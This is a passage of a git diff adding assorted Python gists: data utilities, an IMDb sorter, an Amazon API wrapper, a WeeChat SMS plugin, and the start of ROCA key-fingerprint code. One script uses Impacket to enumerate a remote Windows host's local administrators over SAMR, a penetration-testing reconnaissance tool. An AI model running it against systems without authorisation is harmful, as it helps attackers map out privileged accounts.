+    if (ix == None):
+        ix = defaultdict(count(0).next)
+    
+    n = len(lil[0]) # num samples
+    g = len(lil) # num groups
+    nz = n * g # number of non-zeros
+
+    col_ix = np.empty(nz, dtype=int)
+    
+    for i, d in enumerate(lil):
+        # append index k with __i in order to prevet mapping different columns with same id to same index
+        col_ix[i::g] = [ix[str(k) + '__' + str(i)] for k in d]
+
+    row_ix = np.repeat(np.arange(0, n), g)
+    data = np.ones(nz)
+    
+    if (p == None):
+        p = len(ix)
+    
+    # only features that are less than p (siz of feature vector) are considered
+    ixx = np.where(col_ix < p)
+    
+    return csr.csr_matrix((data[ixx], (row_ix[ixx], col_ix[ixx])), shape=(n, p)), ix
\ No newline at end of file
diff --git a/hard-gists/7a41da7aabb8455d0898db362335e139/._snippet.py b/hard-gists/7a41da7aabb8455d0898db362335e139/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7a41da7aabb8455d0898db362335e139/._snippet.py differ
diff --git a/hard-gists/7a41da7aabb8455d0898db362335e139/snippet.py b/hard-gists/7a41da7aabb8455d0898db362335e139/snippet.py
new file mode 100644
index 00000000..54af1eb2
--- /dev/null
+++ b/hard-gists/7a41da7aabb8455d0898db362335e139/snippet.py
@@ -0,0 +1,198 @@
+#!/usr/bin/env python
+#
+# Title: lookupadmins.py
+# Author: @ropnop
+# Description: Python script using Impacket to query members of the builtin Administrators group through SAMR
+# Similar in function to Get-NetLocalGroup from Powerview
+# Won't work against Windows 10 Anniversary Edition unless you already have local admin
+# See: http://www.securityweek.com/microsoft-experts-launch-anti-recon-tool-windows-10-server-2016
+#
+# Heavily based on original Impacket example scripts written by @agsolino and available here: https://github.com/CoreSecurity/impacket
+
+import sys
+import logging
+import argparse
+import codecs
+
+from impacket.examples import logger
+from impacket import version
+from impacket.dcerpc.v5 import transport, lsat, lsad, samr
+from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.smb import SMB_DIALECT
+
+class SAMRQuery:
+    def __init__(self, username='', password='', domain='', port=445, remoteName='', remoteHost=''):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = None
+        self.__port = port
+        self.__remoteName = remoteName
+        self.__remoteHost = remoteHost
+        self.dce = self.getDce()
+        self.serverHandle = self.getServerHandle()
+
+    def getTransport(self):
+        stringbinding = 'ncacn_np:%s[\pipe\samr\]' % self.__remoteName
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+        rpctransport.setRemoteHost(self.__remoteHost)
+
+        if hasattr(rpctransport,'preferred_dialect'):
+            rpctransport.preferred_dialect(SMB_DIALECT)
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
+        rpctransport.set_kerberos(False, None)
+
+        return rpctransport
+
+    def getDce(self):
+        rpctransport = self.getTransport()
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+        return dce
+
+    def getServerHandle(self):
+        resp = samr.hSamrConnect(self.dce)
+        return resp['ServerHandle']
+
+    def getDomains(self):
+        resp = samr.hSamrEnumerateDomainsInSamServer(self.dce, self.serverHandle)
+        domains = resp['Buffer']['Buffer']
+        domainNames = []
+        for domain in domains:
+            domainNames.append(domain['Name'])
+        return domainNames
+
+    def getDomainHandle(self, domainName):
+        resp = samr.hSamrLookupDomainInSamServer(self.dce, self.serverHandle, domainName)
+        resp = samr.hSamrOpenDomain(self.dce, serverHandle = self.serverHandle, domainId = resp['DomainId'])
+        return resp['DomainHandle']
+
+    def getDomainAliases(self, domainHandle):
+        resp = samr.hSamrEnumerateAliasesInDomain(self.dce, domainHandle)
+        aliases = {}
+        for alias in resp['Buffer']['Buffer']:
+            aliases[alias['Name']] =  alias['RelativeId']
+        return aliases
+
+    def getAliasHandle(self, domainHandle, aliasId):
+        resp = samr.hSamrOpenAlias(self.dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=aliasId)
+        return resp['AliasHandle']
+
+    def getAliasMembers(self, domainHandle, aliasId):
+        aliasHandle = self.getAliasHandle(domainHandle, aliasId)
+        resp = samr.hSamrGetMembersInAlias(self.dce, aliasHandle)
+        memberSids = []
+        for member in resp['Members']['Sids']:
+            memberSids.append(member['SidPointer'].formatCanonical())
+        return memberSids
+
+
+class LSAQuery:
+
+    def __init__(self, username='', password='', domain='', port=445, remoteName='', remoteHost=''):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = None
+        self.__port = port
+        self.__remoteName = remoteName
+        self.__remoteHost = remoteHost
+        self.dce = self.getDCE()
+        self.policyHandle = self.getPolicyHandle()
+
+    def getTransport(self):
+        stringbinding = 'ncacn_np:%s[\pipe\lsarpc]' % self.__remoteName
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+        rpctransport.setRemoteHost(self.__remoteHost)
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
+        rpctransport.set_kerberos(False, None)
+        return rpctransport
+
+    def getDCE(self):
+        rpctransport = self.getTransport()
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(lsat.MSRPC_UUID_LSAT)
+        return dce
+
+    def getPolicyHandle(self):
+        resp = lsat.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
+        return resp['PolicyHandle']
+
+    def lookupSids(self, sids):
+        resp = lsat.hLsarLookupSids(self.dce, self.policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
+        names = []
+        for translatedNames in resp['TranslatedNames']['Names']:
+            names.append(translatedNames['Name'])
+        return names
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-no-pass', action='store_true', help='don\'t ask for password')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    import re
+
+    domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
+
+    #In case the password contains '@'
+    if '@' in remoteName:
+        password = password + '@' + remoteName.rpartition('@')[0]
+        remoteName = remoteName.rpartition('@')[2]
+        
+    
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.no_pass is False:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    print "[+] Connecting to {}".format(remoteName)
+    SAMRObject = SAMRQuery(username=username, password=password, remoteName=remoteName, remoteHost=remoteName)
+    domains = SAMRObject.getDomains()
+    print "[+] Found domains: "
+    for domain in domains:
+        print "\t{}".format(domain)
+    if "Builtin" in domains:
+        print "[+] Using 'Builtin'"
+    else:
+        print "[!] Didn't find 'Builtin' domain. Will not work. Aborting"
+        sys.exit(1)
+    domainHandle = SAMRObject.getDomainHandle('Builtin')
+    domainAliases = SAMRObject.getDomainAliases(domainHandle)
+    if 'Administrators' in domainAliases:
+        print "[+] Found Local Administrators Group: RID {}".format(domainAliases['Administrators'])
+    print "[+] Querying group members"
+
+    memberSids = SAMRObject.getAliasMembers(domainHandle, domainAliases['Administrators'])
+    print "[+] Found {} members: ".format(len(memberSids))
+
+    LSAObject = LSAQuery(username=username, password=password, remoteName=remoteName, remoteHost=remoteName)
+    memberNames = LSAObject.lookupSids(memberSids)
+    for name in memberNames:
+        print "\t{}".format(name)
+
+    print "\n[+] Good luck!"
+    sys.exit(1)
\ No newline at end of file
diff --git a/hard-gists/7a56a1253355c0f4442d/._snippet.py b/hard-gists/7a56a1253355c0f4442d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7a56a1253355c0f4442d/._snippet.py differ
diff --git a/hard-gists/7a56a1253355c0f4442d/snippet.py b/hard-gists/7a56a1253355c0f4442d/snippet.py
new file mode 100644
index 00000000..6b93955f
--- /dev/null
+++ b/hard-gists/7a56a1253355c0f4442d/snippet.py
@@ -0,0 +1,89 @@
+#~/usr/bin/env python2
+import os
+import re
+import imdb
+import pickle
+# TODO: use logger
+
+ia = imdb.IMDb()
+# TODO: expand ~/
+cache_dir = "/home/bijan/.imdbpy/cache"
+movies_path = '/run/media/bijan/Storage/Videos/Movies/'
+casts_path = '/run/media/bijan/Storage/Videos/MoviesSorted/casts/'
+directors_path = '/run/media/bijan/Storage/Videos/MoviesSorted/directors/'
+genres_path = '/run/media/bijan/Storage/Videos/MoviesSorted/genres/'
+
+if not os.path.exists(cache_dir):
+    os.makedirs(cache_dir)
+if not os.path.exists(movies_path):
+    os.makedirs(movies_path)
+if not os.path.exists(casts_path):
+    os.makedirs(casts_path)
+if not os.path.exists(directors_path):
+    os.makedirs(directors_path)
+if not os.path.exists(genres_path):
+    os.makedirs(genres_path)
+
+# TODO: list only files, not symlinks, better to set criteria for ext (RECURSIVELY).
+movies = os.listdir(movies_path)
+movies_length = len(movies)
+for idx, filename in enumerate(movies):
+    idx += 1
+    filepath = os.path.join(movies_path, filename)
+    matched = re.match("(.*) \((.*)\)\..*", filename)
+    if matched:
+        if os.path.exists(os.path.join(cache_dir, '%s.cache' % filename)):
+            print('[%s/%s] Load from cache: %s' % (idx, movies_length, filename))
+            with open(os.path.join(cache_dir, '%s.cache' % filename), 'r') as f:
+                movie_pickled = f.read()
+            movie = pickle.loads(movie_pickled)
+        else:
+            title, year = re.match("(.*) \((.*)\)\..*", filename).groups()
+            year = int(year)
+            print('[%s/%s] Searching %s' % (idx, movies_length, filename))
+            s_result = ia.search_movie(title)
+
+            movie = None
+            for item in s_result:
+                if item.data.get('year'):
+                    if item.data['year'] == year:
+                        movie = item
+                        ia.update(movie)
+                        break
+
+        if movie:
+            # RECORD CACHE
+            movie_pickled = pickle.dumps(movie)
+            with open(os.path.join(cache_dir, '%s.cache' % filename), 'w') as f:
+                f.write(movie_pickled)
+
+            # movie['full-size cover url'], 'rating', 'genres'
+            for cast in movie.data['cast'][1:10]:
+                cast_name = dict(cast.items())['name']
+                cast_path = os.path.join(casts_path, cast_name)
+                if not os.path.exists(cast_path):
+                    os.mkdir(cast_path)
+                symlink = os.path.join(cast_path, filename.decode('utf-8'))
+                if not os.path.exists(symlink):
+                    os.symlink(filepath, symlink)
+
+            for director in movie.data['director']:
+                director_name = dict(cast.items())['name']
+                director_path = os.path.join(directors_path, director_name)
+                if not os.path.exists(director_path):
+                    os.mkdir(director_path)
+                symlink = os.path.join(director_path, filename.decode('utf-8'))
+                if not os.path.exists(symlink):
+                    os.symlink(filepath, symlink)
+
+            for genre_name in movie.data.get('genres', []):
+                genre_path = os.path.join(genres_path, genre_name)
+                if not os.path.exists(genre_path):
+                    os.mkdir(genre_path)
+                if not os.path.exists(genre_path):
+                    os.mkdir(genre_path)
+                symlink = os.path.join(genre_path, filename.decode('utf-8'))
+                if not os.path.exists(symlink):
+                    os.symlink(filepath, symlink)
+        else:
+            print('\tMovie Not Found')
diff --git a/hard-gists/7a9e046470dcf05420d4cdc2b2defd79/._snippet.py b/hard-gists/7a9e046470dcf05420d4cdc2b2defd79/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7a9e046470dcf05420d4cdc2b2defd79/._snippet.py differ
diff --git a/hard-gists/7a9e046470dcf05420d4cdc2b2defd79/snippet.py b/hard-gists/7a9e046470dcf05420d4cdc2b2defd79/snippet.py
new file mode 100644
index 00000000..68ec7205
--- /dev/null
+++ b/hard-gists/7a9e046470dcf05420d4cdc2b2defd79/snippet.py
@@ -0,0 +1,191 @@
+# coding: utf-8
+
+from amazon.api import AmazonAPI
+from amazon.api import AmazonException, LookupException, AsinNotFound
+
+
+class AmazonAPIWrapper(object):
+    """
+    pip install python-amazon-simple-product-api
+    """
+    def __init__(self, account):
+        self.account = account
+
+    def __enter__(self):
+        self.API = AmazonAPI(
+            self.account["ACCESS_KEY"],
+            self.account["SECRET_KEY"],
+            self.account["ASSOC_TAG"],
+            region = self.account["REGION"] if "REGION" in self.account else "US")
+        return self
+
+    def __exit__(self, exception_type, exception_value, traceback):
+        pass
+
+    def Lookup(self, **kwargs):
+        if "ItemId" not in kwargs:
+            raise AmazonException("Not Set ItemId")
+
+        if isinstance(kwargs["ItemId"], list):
+            kwargs["ItemId"] = ",".join(kwargs["ItemId"])
+
+        response = self.API.lookup(**kwargs)
+        if hasattr(response, "__iter__"):
+            for item in response:
+                self.item = item
+                yield self
+        else:
+            self.item = response
+            yield self
+
+    def inches2cm(self, data):
+        return round(float(data) / 100 * 2.54, 2)
+
+    def pounds2g(self, data):
+        return round(float(data) / 100 * 0.4536 * 1000, 2)
+
+    @property
+    def region(self):
+        return self.API.region
+
+    @property
+    def asin(self):
+        return self.item.asin
+
+    @property
+    def title(self):
+        return self.item.title
+
+    @property
+    def category(self):
+        if len(self.item.browse_nodes) > 0:
+            for i in range(len(self.item.browse_nodes)):
+                name = self.item.browse_nodes[i].ancestors[-1].name
+                if name == "jp-stores":
+                    continue
+                elif name is not None:
+                    break
+            
+            if hasattr(name, "text"):
+                return name.text
+            else:
+                return name
+        else:
+            return None
+
+    @property
+    def browsenode_id(self):
+        if len(self.item.browse_nodes) > 0:
+            for i in range(len(self.item.browse_nodes)):
+                name = self.item.browse_nodes[i].ancestors[-1].name
+                if name == "jp-stores":
+                    continue
+                else:
+                    return self.item.browse_nodes[i].id
+        else:
+            return None
+
+    @property
+    def image_url(self):
+        if self.item.medium_image_url:
+            return str(self.item.medium_image_url)
+
+    @property
+    def attributes(self):
+        return self.item.get_attributes([
+            "PackageDimensions.Weight",
+            "PackageDimensions.Width",
+            "PackageDimensions.Height",
+            "PackageDimensions.Length"
+        ])
+
+    @property
+    def weight(self):
+        if "PackageDimensions.Weight" in self.attributes:
+            return self.pounds2g(self.attributes["PackageDimensions.Weight"])
+
+    @property
+    def raw_weight(self):
+        if "PackageDimensions.Weight" in self.attributes:
+            return self.attributes["PackageDimensions.Weight"]
+
+    @property
+    def width(self):
+        if "PackageDimensions.Width" in self.attributes:
+            return self.inches2cm(self.attributes["PackageDimensions.Width"])
+
+    @property
+    def raw_width(self):
+        if "PackageDimensions.Width" in self.attributes:
+            return self.attributes["PackageDimensions.Width"]
+
+    @property
+    def height(self):
+        if "PackageDimensions.Height" in self.attributes:
+            return self.inches2cm(self.attributes["PackageDimensions.Height"])
+
+    @property
+    def raw_height(self):
+        if "PackageDimensions.Height" in self.attributes:
+            return self.attributes["PackageDimensions.Height"]
+
+    @property
+    def length(self):
+        if "PackageDimensions.Length" in self.attributes:
+            return self.inches2cm(self.attributes["PackageDimensions.Length"])
+
+    @property
+    def raw_length(self):
+        if "PackageDimensions.Length" in self.attributes:
+            return self.attributes["PackageDimensions.Length"]
+
+    @property
+    def price(self):
+        price, currency = self.item.price_and_currency
+        return price
+
+    @property
+    def publication_date(self):
+        return self.item.publication_date
+
+    @property
+    def release_date(self):
+        return self.item.release_date
+
+    @property
+    def sales_rank(self):
+        return self.item.sales_rank
+
+    @property
+    def total_new(self):
+        return self.item._safe_get_element_text('OfferSummary.TotalNew')
+
+    @property
+    def brand(self):
+        return self.item.brand
+
+    @property
+    def manufacturer(self):
+        return self.item.manufacturer
+
+    @property
+    def ean(self):
+        return self.item.ean
+
+if __name__ == "__main__":
+
+    account = {
+        "ACCESS_KEY": "ACCESS_KEY",
+        "SECRET_KEY": "SECRET_KEY",
+        "ASSOC_TAG": "associate-tag"
+    }
+
+    with AmazonAPIWrapper(account) as API:
+        try:
+            #API.setAsinFromFile(file)
+            #api.Asin = ["B00F5JOIT0", "B00TS0UK0I", "B00O9GPEAC"]
+            API.Asin = "B017VFHDKQ"
+            for item in API.Lookup():
+                print(item.total_new)
+        except Exception as e:
+            print(e)
\ No newline at end of file
diff --git a/hard-gists/7ad3a91b1b49fe2682d7/._snippet.py b/hard-gists/7ad3a91b1b49fe2682d7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7ad3a91b1b49fe2682d7/._snippet.py differ
diff --git a/hard-gists/7ad3a91b1b49fe2682d7/snippet.py b/hard-gists/7ad3a91b1b49fe2682d7/snippet.py
new file mode 100644
index 00000000..a5eb5f77
--- /dev/null
+++ b/hard-gists/7ad3a91b1b49fe2682d7/snippet.py
@@ -0,0 +1,32 @@
+#
+# @author Cindy Williams
+# @date 25/06/2013
+#
+# Loops over an existing spreadsheet with attribute data
+# and builds up a definition query to apply to the dataset.
+#
+# For use in the Python window in ArcMap.
+#
+
+from arcpy import da
+import arcpy.mapping as MAP
+
+# Input variables
+xls = r"C:\Some\Arb\Folder\Data.xlsx\Sheet1$" # Spreadsheet
+mxd = MAP.MapDocument("CURRENT") # Current map document
+lyr = MAP.ListLayers(mxd)[0] # First layer in the the map
+lst_qry = [] # List to hold the query
+field_name = "Layer"
+
+# Loops over the spreadsheet using a search cursor.
+# Appends each value into the list
+with arcpy.da.SearchCursor(xls, field_name) as cursor:
+    for row in cursor:
+        defn_qry = """ "{0}" = '{1}' """.format(field_name, row[0])
+        lst_qry.append(defn_qry)
+
+# Build a string representation of the definition query and apply it to the layer
+lyr.definitionQuery = ' OR '.join(lst_qry)
+
+# Refresh ArcMap to see the query applied
+arcpy.RefreshActiveView()
diff --git a/hard-gists/7adc87d2c4fde941cea6/._snippet.py b/hard-gists/7adc87d2c4fde941cea6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7adc87d2c4fde941cea6/._snippet.py differ
diff --git a/hard-gists/7adc87d2c4fde941cea6/snippet.py b/hard-gists/7adc87d2c4fde941cea6/snippet.py
new file mode 100644
index 00000000..e1718975
--- /dev/null
+++ b/hard-gists/7adc87d2c4fde941cea6/snippet.py
@@ -0,0 +1,77 @@
+import numpy as np
+import os, sys, getopt
+
+# Main path to your caffe installation
+caffe_root = '/path/to/your/caffe/'
+
+# Model prototxt file
+model_prototxt = caffe_root + 'models/bvlc_googlenet/deploy.prototxt'
+
+# Model caffemodel file
+model_trained = caffe_root + 'models/bvlc_googlenet/bvlc_googlenet.caffemodel'
+
+# File containing the class labels
+imagenet_labels = caffe_root + 'data/ilsvrc12/synset_words.txt'
+
+# Path to the mean image (used for input processing)
+mean_path = caffe_root + 'python/caffe/imagenet/ilsvrc_2012_mean.npy'
+
+# Name of the layer we want to extract
+layer_name = 'pool5/7x7_s1'
+
+sys.path.insert(0, caffe_root + 'python')
+import caffe
+
+def main(argv):
+    inputfile = ''
+    outputfile = ''
+
+    try:
+        opts, args = getopt.getopt(argv,"hi:o:",["ifile=","ofile="])
+    except getopt.GetoptError:
+        print 'caffe_feature_extractor.py -i <inputfile> -o <outputfile>'
+        sys.exit(2)
+
+    for opt, arg in opts:
+        if opt == '-h':
+            print 'caffe_feature_extractor.py -i <inputfile> -o <outputfile>'
+            sys.exit()
+        elif opt in ("-i"):
+            inputfile = arg
+        elif opt in ("-o"):
+            outputfile = arg
+
+    print 'Reading images from "', inputfile
+    print 'Writing vectors to "', outputfile
+
+    # Setting this to CPU, but feel free to use GPU if you have CUDA installed
+    caffe.set_mode_cpu()
+    # Loading the Caffe model, setting preprocessing parameters
+    net = caffe.Classifier(model_prototxt, model_trained,
+                           mean=np.load(mean_path).mean(1).mean(1),
+                           channel_swap=(2,1,0),
+                           raw_scale=255,
+                           image_dims=(256, 256))
+
+    # Loading class labels
+    with open(imagenet_labels) as f:
+        labels = f.readlines()
+
+    # This prints information about the network layers (names and sizes)
+    # You can uncomment this, to have a look inside the network and choose which layer to print
+    #print [(k, v.data.shape) for k, v in net.blobs.items()]
+    #exit()
+
+    # Processing one image at a time, printint predictions and writing the vector to a file
+    with open(inputfile, 'r') as reader:
+        with open(outputfile, 'w') as writer:
+            writer.truncate()
+            for image_path in reader:
+                image_path = image_path.strip()
+                input_image = caffe.io.load_image(image_path)
+                prediction = net.predict([input_image], oversample=False)
+                print os.path.basename(image_path), ' : ' , labels[prediction[0].argmax()].strip() , ' (', prediction[0][prediction[0].argmax()] , ')'
+                np.savetxt(writer, net.blobs[layer_name].data[0].reshape(1,-1), fmt='%.8g')
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
\ No newline at end of file
diff --git a/hard-gists/7ade9bbe4cb46e3cc1b8/._snippet.py b/hard-gists/7ade9bbe4cb46e3cc1b8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7ade9bbe4cb46e3cc1b8/._snippet.py differ
diff --git a/hard-gists/7ade9bbe4cb46e3cc1b8/snippet.py b/hard-gists/7ade9bbe4cb46e3cc1b8/snippet.py
new file mode 100644
index 00000000..9a027730
--- /dev/null
+++ b/hard-gists/7ade9bbe4cb46e3cc1b8/snippet.py
@@ -0,0 +1,231 @@
+# -*- coding:utf-8 -*-
+from __future__ import unicode_literals
+import weechat, csv, re, gammu, time, unicodedata
+
+"""
+README
+======
+
+2015-04-12: v0.1 - Initial/draft/beta version
+
+Installation
+------------
+
+$ sudo aptitude install gammu gammu-smsd python-gammu
+$ sudo usermod -a -G dialout $USER
+
+$ cp weesms.py ~/.weechat/python/[autoload]
+
+Stop gammu-smsd if it is started:
+# /etc/init.d/gammu-smsd stop
+
+
+Plugin management
+-----------------
+
+Load plugin:
+/python load python/weesms.py or put the script in python/autoload
+
+Reload plugin:
+/python reload weesms
+
+Unload plugin:
+/python unload weesms
+
+
+Phonebook
+---------
+
+Default CSV phonebook location: WEECHAT_DIR/python/weesms.csv
+
+Phonebook format is:
+bob,+33123456789
+alice,+33987654321
+
+
+Refs:
+  - http://wammu.eu/docs/pdf/gammu.pdf
+  - https://weechat.org/files/doc/stable/weechat_scripting.en.html
+  - https://weechat.org/files/doc/stable/weechat_plugin_api.en.html
+
+"""
+
+SCRIPT_NAME    = "weesms"
+SCRIPT_AUTHOR  = "Steeve Barbeau"
+SCRIPT_LICENCE = "GPL3"
+SCRIPT_VERSION = "0.1"
+SCRIPT_DESC    = "Send and receive SMS Text Messages in Weechat"
+
+contacts_dict = {}
+
+
+def buffer_input_cb(data, buffer, input_data):
+  smsbuffer = weechat.buffer_search('python', 'weesms')
+  input_data = input_data.decode('utf-8', 'replace')
+  r = re.compile("^\s*(?:\+?(\d{1,3}))?[-. (]*(\d{3})[-. )]*(\d{3})[-. ]*(\d{4})(?: *x(\d+))?\s*$")
+  # regex stolen from http://stackoverflow.com/questions/16699007/regular-expression-to-match-standard-10-digit-phone-number/16702965#16702965
+  if ':' in input_data:
+    contact, _, message = input_data.partition(':')
+    if contact in contacts_dict.keys():
+      number = contacts_dict[contact]
+    else:
+      number = contact
+    if r.match(number):
+      weechat.prnt(smsbuffer, "-> %s: %s" % (contact, unicodedata.normalize('NFKD', message).encode('ascii', 'ignore')))
+      send_sms(message.strip(), number)
+  return weechat.WEECHAT_RC_OK
+
+
+def buffer_close_cb(data, buffer):
+  # ...
+  return weechat.WEECHAT_RC_OK
+
+
+def reload_contacts_cb(data, buffer, args):
+  global contacts
+  csv_file = weechat.info_get('weechat_dir', '')+'/python/weesms.csv'
+  try:
+    contacts_csv = csv.reader(open(csv_file, 'r'))
+    weechat.nicklist_remove_group(smsbuffer, contacts)
+    contacts = weechat.nicklist_add_group(smsbuffer, '', 'contacts', '', 1)
+    for c in contacts_csv:
+      weechat.nicklist_add_nick(smsbuffer, contacts, c[0], '', '@', '', 1)
+      contacts_dict[c[0]] = c[1]
+    weechat.prnt('', "Contacts reload: done")
+  except IOError:
+    weechat.prnt('', "%sIOError: Unable to access %s file" % (csv_file, weechat.prefix("error")))
+    return weechat.WEECHAT_RC_ERROR
+  return weechat.WEECHAT_RC_OK
+
+
+def shutdown_function():
+  sm.Terminate()
+  return weechat.WEECHAT_RC_OK
+
+
+def nicklist_init():
+  csv_file = weechat.info_get('weechat_dir', '')+'/python/weesms.csv'
+  try:
+    contacts_csv = csv.reader(open(csv_file, 'r'))
+    for c in contacts_csv:
+      weechat.nicklist_add_nick(smsbuffer, contacts, c[0], '', '@', '', 1)
+      contacts_dict[c[0]] = c[1]
+  except IOError:
+    weechat.prnt('', "%sIOError: Unable to access %s file" % (csv_file, weechat.prefix("error")))
+
+
+def gammu_init():
+  weechat.prnt('', "Gammu initialization")
+  # Create state machine
+  sm = gammu.StateMachine()
+  # Read gammurc
+  sm.ReadConfig()
+  # Connect to phone
+  sm.Init(5)
+  # Enter PIN code if necessary
+  if (sm.GetSecurityStatus() == 'PIN'):
+    weechat.prnt('', "Setting PIN code")
+    sm.EnterSecurityCode('PIN', '0000')
+  time.sleep(5)
+  weechat.prnt('', "Gammu initialization: done")
+  return sm
+
+
+def send_sms(text, number):
+  # Create SMS info structure
+  smsinfo = {
+    'Class': 1,
+    'Unicode': True,
+    'Entries':  [
+      {
+        'ID': 'ConcatenatedAutoTextLong',
+        'Buffer': text
+      }
+    ]}
+
+  # Encode messages
+  encoded = gammu.EncodeSMS(smsinfo)
+
+  # Send messages
+  for message in encoded:
+    message['SMSC'] = {'Location': 1}
+    message['Number'] = number
+
+    # Actually send the message
+    try:
+      sm.SendSMS(message)
+    except gammu.ERR_GETTING_SMSC as e:
+      weechat.prnt('', "%s%s" % (weechat.prefix("error"), e))
+    except gammu.ERR_TIMEOUT as e:
+      weechat.prnt('', "%s%s" % (weechat.prefix("error"), e))
+
+
+def read_sms_cb(data, remaining_calls):
+  try:
+    status = sm.GetSMSStatus()
+  except gammu.ERR_TIMEOUT as e:
+    weechat.prnt('', "%s%s" % (weechat.prefix("error"), e))
+    return weechat.WEECHAT_RC_ERROR
+
+  remain = status['SIMUsed'] + status['PhoneUsed'] + status['TemplatesUsed']
+  sms = []
+  start = True
+
+  try:
+    while remain > 0:
+      if start:
+        cursms = sm.GetNextSMS(Start=True, Folder=0)
+        start = False
+      else:
+        cursms = sm.GetNextSMS(Location=cursms[0]['Location'], Folder=0)
+      remain = remain - len(cursms)
+      sms.append(cursms)
+  except gammu.ERR_EMPTY:
+    pass
+ 
+  data = gammu.LinkSMS(sms)
+ 
+  for x in data:
+    v = gammu.DecodeSMS(x)
+ 
+    m = x[0]
+    sms_number = m['Number']
+
+    contact = sms_number
+    for name, number in contacts_dict.iteritems():
+      if number == sms_number:
+        contact = name
+        break
+    if v is None:
+      message = unicodedata.normalize('NFKD', m['Text']).encode('ascii', 'ignore')
+    else:
+      for e in v['Entries']:
+        if e['Buffer'] != None:
+          message = unicodedata.normalize('NFKD', e['Buffer']).encode('ascii', 'ignore')
+    weechat.prnt(smsbuffer, "<- %s: %s" % (contact, message))
+
+    # Delete SMS
+    loc = []
+    for m in x:
+        sm.DeleteSMS(m['Folder'], m['Location'])
+  return weechat.WEECHAT_RC_OK
+
+
+# plugin registration
+if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION, SCRIPT_LICENCE, SCRIPT_DESC, 'shutdown_function', ''):
+  # WeeSMS buffer creation
+  smsbuffer = weechat.buffer_new('weesms', 'buffer_input_cb', '', 'buffer_close_cb', '')
+  weechat.buffer_set(smsbuffer, 'WeeSMS', '- SMS -')
+
+  # Nick list initialization
+  contacts = weechat.nicklist_add_group(smsbuffer, '', 'contacts', '', 1)
+  nicklist_init()
+
+  # /reload_contacts command
+  hook = weechat.hook_command('reload_contacts', "Reload CSV phonebook", '', '', '', 'reload_contacts_cb', '')
+
+  # Initialize Gammu
+  sm = gammu_init()
+
+  # SMS check function called every 10 seconds
+  weechat.hook_timer(10 * 1000, 0, 0, 'read_sms_cb', '')
diff --git a/hard-gists/7aea60f80f6aa9b79cc9509b633557c9/._snippet.py b/hard-gists/7aea60f80f6aa9b79cc9509b633557c9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7aea60f80f6aa9b79cc9509b633557c9/._snippet.py differ
diff --git a/hard-gists/7aea60f80f6aa9b79cc9509b633557c9/snippet.py b/hard-gists/7aea60f80f6aa9b79cc9509b633557c9/snippet.py
new file mode 100644
index 00000000..d8487205
--- /dev/null
+++ b/hard-gists/7aea60f80f6aa9b79cc9509b633557c9/snippet.py
@@ -0,0 +1,78 @@
+#!/usr/bin/python2
+from random import randint, choice
+from gmpy2 import is_prime # pip install gmpy2
+import operator
+
+### Code from ROCA
+primes = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101,
+                       103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167]
+
+prints = [6, 30, 126, 1026, 5658, 107286, 199410, 8388606, 536870910, 2147483646, 67109890, 2199023255550,
+8796093022206, 140737488355326, 5310023542746834, 576460752303423486, 1455791217086302986,
+147573952589676412926, 20052041432995567486, 6041388139249378920330, 207530445072488465666,
+9671406556917033397649406,
+618970019642690137449562110,
+79228162521181866724264247298,
+2535301200456458802993406410750,
+1760368345969468176824550810518,
+50079290986288516948354744811034,
+473022961816146413042658758988474,
+10384593717069655257060992658440190,
+144390480366845522447407333004847678774,
+2722258935367507707706996859454145691646,
+174224571863520493293247799005065324265470,
+696898287454081973172991196020261297061886,
+713623846352979940529142984724747568191373310,
+1800793591454480341970779146165214289059119882,
+126304807362733370595828809000324029340048915994,
+11692013098647223345629478661730264157247460343806,
+187072209578355573530071658587684226515959365500926]
+
+def has_fingerprint_real(modulus):
